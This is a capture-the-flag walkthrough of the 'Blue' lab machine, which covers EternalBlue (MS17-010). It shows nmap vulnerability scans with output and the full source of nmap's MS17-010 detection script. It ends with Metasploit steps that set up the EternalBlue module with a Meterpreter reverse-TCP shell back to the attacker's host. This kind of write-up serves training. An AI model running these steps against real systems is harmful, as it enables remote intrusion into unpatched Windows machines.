Blue

EternalBlue is the name given to an exploit that takes advantage of a critical vulnerability (MS17-010) in the Server Message Block (SMB) protocol of Microsoft Windows systems. This vulnerability allows for remote code execution, meaning an attacker can execute arbitrary code on a vulnerable machine without requiring any user interaction. The exploit was originally developed by the NSA and leaked by the Shadow Brokers group. It was famously used in the WannaCry ransomware attack in 2017, highlighting its severity and widespread impact. Systems running older, unpatched versions of Windows were particularly susceptible.

Machine Walkthrough

MACHINE IP : 10.10.119.162

Reconnaissance

Target Identification: Confirm the target IP address (10.10.119.162) is reachable and online using ping.
Port Scanning: Identify open ports on the target using Nmap. Pay close attention to port 445 (SMB), which is crucial for EternalBlue exploitation. Consider using Nmap scripts to detect potential vulnerabilities. Example: nmap -sV -sC 10.10.119.162 More about -sV and -sC>>>
OS Detection: Determine the operating system and version running on the target. This is essential to ensure the exploit is compatible. Nmap’s OS detection (-O) can help: nmap -O 10.10.119.162
Vulnerability Check: Verify that the target machine is vulnerable to MS17-010. This could involve using specialized tools or checking the machine’s patch level.

┌──(neo㉿Neo)-[~]
└─$ nmap -sC -sV --script vuln 10.10.119.162
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-05 01:06 +0530
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 96.05% done; ETC: 01:06 (0:00:00 remaining)
Stats: 0:01:23 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 44.44% done; ETC: 01:09 (0:01:13 remaining)
Stats: 0:02:20 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.91% done; ETC: 01:08 (0:00:00 remaining)
Nmap scan report for 10.10.119.162
Host is up (0.26s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  tcpwrapped
| rdp-vuln-ms12-020:
|   VULNERABLE:
|   MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0152
|     Risk factor: Medium  CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
|     Disclosure date: 2012-03-13
|     References:
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|
|   MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0002
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
|     Disclosure date: 2012-03-13
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_      http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
 
Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 160.13 seconds

if we deep dive into the ms17-010 we can inspect the script code, change directory to /usr/share/nmap/scripts then ls | grep smb. you will see lot of smb related scripts

┌──(neo㉿Neo)-[/usr/share/nmap/scripts]
└─$ ls | grep smb
smb2-capabilities.nse
smb2-security-mode.nse
smb2-time.nse
smb2-vuln-uptime.nse
smb-brute.nse
smb-double-pulsar-backdoor.nse
smb-enum-domains.nse
smb-enum-groups.nse
smb-enum-processes.nse
smb-enum-services.nse
smb-enum-sessions.nse
smb-enum-shares.nse
smb-enum-users.nse
smb-flood.nse
smb-ls.nse
smb-mbenum.nse
smb-os-discovery.nse
smb-print-text.nse
smb-protocols.nse
smb-psexec.nse
smb-security-mode.nse
smb-server-stats.nse
smb-system-info.nse
smb-vuln-conficker.nse
smb-vuln-cve2009-3103.nse
smb-vuln-cve-2017-7494.nse
smb-vuln-ms06-025.nse
smb-vuln-ms07-029.nse
smb-vuln-ms08-067.nse
smb-vuln-ms10-054.nse
smb-vuln-ms10-061.nse
smb-vuln-ms17-010.nse
smb-vuln-regsvc-dos.nse
smb-vuln-webexec.nse
smb-webexec-exploit.nse

we can see the content of smb-vuln-ms17-010.nse

┌──(neo㉿Neo)-[/usr/share/nmap/scripts]
└─$ cat smb-vuln-ms17-010.nse
local nmap = require "nmap"
local smb = require "smb"
local vulns = require "vulns"
local stdnse = require "stdnse"
local string = require "string"
 
description = [[
Attempts to detect if a Microsoft SMBv1 server is vulnerable to a remote code
 execution vulnerability (ms17-010, a.k.a. EternalBlue).
 The vulnerability is actively exploited by WannaCry and Petya ransomware and other malware.
 
The script connects to the $IPC tree, executes a transaction on FID 0 and
 checks if the error "STATUS_INSUFF_SERVER_RESOURCES" is returned to
 determine if the target is not patched against ms17-010. Additionally it checks
 for known error codes returned by patched systems.
 
Tested on Windows XP, 2003, 7, 8, 8.1, 10, 2008, 2012 and 2016.
 
References:
* https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
* https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
* https://msdn.microsoft.com/en-us/library/ee441489.aspx
* https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_ms17_010.rb
* https://github.com/cldrn/nmap-nse-scripts/wiki/Notes-about-smb-vuln-ms17-010
]]
 
---
-- @usage nmap -p445 --script smb-vuln-ms17-010 <target>
-- @usage nmap -p445 --script vuln <target>
--
-- @see smb-double-pulsar-backdoor.nse
--
-- @output
-- Host script results:
-- | smb-vuln-ms17-010:
-- |   VULNERABLE:
-- |   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2017-0143
-- |     Risk factor: HIGH
-- |       A critical remote code execution vulnerability exists in Microsoft SMBv1
-- |        servers (ms17-010).
-- |
-- |     Disclosure date: 2017-03-14
-- |     References:
-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
-- |       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
-- |_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
--
-- @xmloutput
-- <table key="CVE-2017-0143">
-- <elem key="title">Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)</elem>
-- <elem key="state">VULNERABLE</elem>
-- <table key="ids">
-- <elem>CVE:CVE-2017-0143</elem>
-- </table>
-- <table key="description">
-- <elem>A critical remote code execution vulnerability exists in Microsoft SMBv1&#xa; servers (ms17-010).&#xa;</elem>
-- </table>
-- <table key="dates">
-- <table key="disclosure">
-- <elem key="month">03</elem>
-- <elem key="year">2017</elem>
-- <elem key="day">14</elem>
-- </table>
-- </table>
-- <elem key="disclosure">2017-03-14</elem>
-- <table key="refs">
-- <elem>https://technet.microsoft.com/en-us/library/security/ms17-010.aspx</elem>
-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143</elem>
-- <elem>https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/</elem>
-- </table>
-- </table>
--
-- @args smb-vuln-ms17-010.sharename Share name to connect. Default: IPC$
---
 
author = "Paulino Calderon <paulino()calderonpale.com>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "safe"}
 
hostrule = function(host)
  return smb.get_port(host) ~= nil
end
 
local function check_ms17010(host, port, sharename)
  local status, smbstate = smb.start_ex(host, true, true, "\\\\".. host.ip .. "\\" .. sharename, nil, nil, nil)
  if not status then
    stdnse.debug1("Could not connect to '%s'", sharename)
    return false, string.format("Could not connect to '%s'", sharename)
  else
    local overrides = {}
    local smb_header, smb_params, smb_cmd
 
    stdnse.debug1("Connected to share '%s'", sharename)
 
    overrides['parameters_length'] = 0x10
 
    --SMB_COM_TRANSACTION opcode is 0x25
    smb_header = smb.smb_encode_header(smbstate, 0x25, overrides)
    smb_params = string.pack(">I2 I2 I2 I2 B B I2 I4 I2 I2 I2 I2 I2 B B I2 I2 I2 I2 I2 I2",
      0x0,     -- Total Parameter count (2 bytes)
      0x0,     -- Total Data count (2 bytes)
      0xFFFF,  -- Max Parameter count (2 bytes)
      0xFFFF,  -- Max Data count (2 bytes)
      0x0,     -- Max setup Count (1 byte)
      0x0,     -- Reserved (1 byte)
      0x0,     -- Flags (2 bytes)
      0x0,     -- Timeout (4 bytes)
      0x0,     -- Reserved (2 bytes)
      0x0,     -- ParameterCount (2 bytes)
      0x4a00,  -- ParameterOffset (2 bytes)
      0x0,     -- DataCount (2 bytes)
      0x4a00,  -- DataOffset (2 bytes)
      0x02,    -- SetupCount (1 byte)
      0x0,     -- Reserved (1 byte)
      0x2300,  -- PeekNamedPipe opcode
      0x0,     --
      0x0700,  -- BCC (Length of "\PIPE\")
      0x5c50,  -- \P
      0x4950,  -- IP
      0x455c   -- E\
      )
    stdnse.debug2("SMB: Sending SMB_COM_TRANSACTION")
    local result, err = smb.smb_send(smbstate, smb_header, smb_params, '', overrides)
    if(result == false) then
      stdnse.debug1("There was an error in the SMB_COM_TRANSACTION request")
      return false, err
    end
 
    local result, smb_header, _, _ = smb.smb_read(smbstate)
    if not result then
      stdnse.debug1("Error reading SMB response: %s", smb_header)
      -- error can happen if an (H)IPS resets the connection
      return false, smb_header
    end
 
    local _ , smb_cmd, err = string.unpack("<c4 B I4", smb_header)
    if smb_cmd == 37 then -- SMB command for Trans is 0x25
      stdnse.debug1("Valid SMB_COM_TRANSACTION response received")
 
      --STATUS_INSUFF_SERVER_RESOURCES indicate that the machine is not patched
      if err == 0xc0000205 then
        stdnse.debug1("STATUS_INSUFF_SERVER_RESOURCES response received")
        return true
      elseif err == 0xc0000022 then
        stdnse.debug1("STATUS_ACCESS_DENIED response received. This system is likely patched.")
        return false, "This system is patched."
      elseif err == 0xc0000008 then
        stdnse.debug1("STATUS_INVALID_HANDLE response received. This system is likely patched.")
        return false, "This system is patched."
      end
      stdnse.debug1("Error code received:%s", stdnse.tohex(err))
    else
      stdnse.debug1("Received invalid command id.")
      return false, string.format("Unexpected SMB response:%s", stdnse.tohex(err))
    end
  end
end
 
action = function(host,port)
  local vuln_status, err
  local vuln = {
    title = "Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)",
    IDS = {CVE = 'CVE-2017-0143'},
    risk_factor = "HIGH",
    description = [[
A critical remote code execution vulnerability exists in Microsoft SMBv1
 servers (ms17-010).
    ]],
    references = {
      'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx',
      'https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/'
    },
    dates = {
      disclosure = {year = '2017', month = '03', day = '14'},
    }
  }
  local sharename = stdnse.get_script_args(SCRIPT_NAME .. ".sharename") or "IPC$"
  local report = vulns.Report:new(SCRIPT_NAME, host, port)
  vuln.state = vulns.STATE.NOT_VULN
 
  vuln_status, err = check_ms17010(host, port, sharename)
  if vuln_status then
    stdnse.debug1("This host is missing the patch for ms17-010!")
    vuln.state = vulns.STATE.VULN
  else
    vuln.state = vulns.STATE.NOT_VULN
    vuln.check_results = err
  end
  return report:make_output(vuln)
end

Exploitation

Launch msfconsole: Start the Metasploit Framework console.
Search for the exploit: Use the search command to locate the EternalBlue exploit module. Example: search ms17_010
Select the exploit: Use the use command to select the appropriate module. Example: use exploit/windows/smb/ms17_010_eternalblue (or the index number from search results).
Set options: Configure the exploit settings using the set command:
- set RHOSTS <target_ip> (Replace <target_ip> with 10.10.119.162).
- set RPORT 445 (This is usually the default but verify).
- set PAYLOAD <payload> (Choose a suitable payload; windows/x64/meterpreter/reverse_tcp is a common choice. Verify the architecture (x64) matches the target).
- set LHOST <your_ip> (Replace <your_ip> with your AttackBox’s IP address).
- set LPORT <your_port> (Choose a free port on your AttackBox; 4444 is commonly used).
Verify options: Use show options to check your settings are correct.
Exploit the target: Run the exploit using the run command.
Meterpreter Session: If successful, a Meterpreter session will be established. You’ll have a command prompt within this session.

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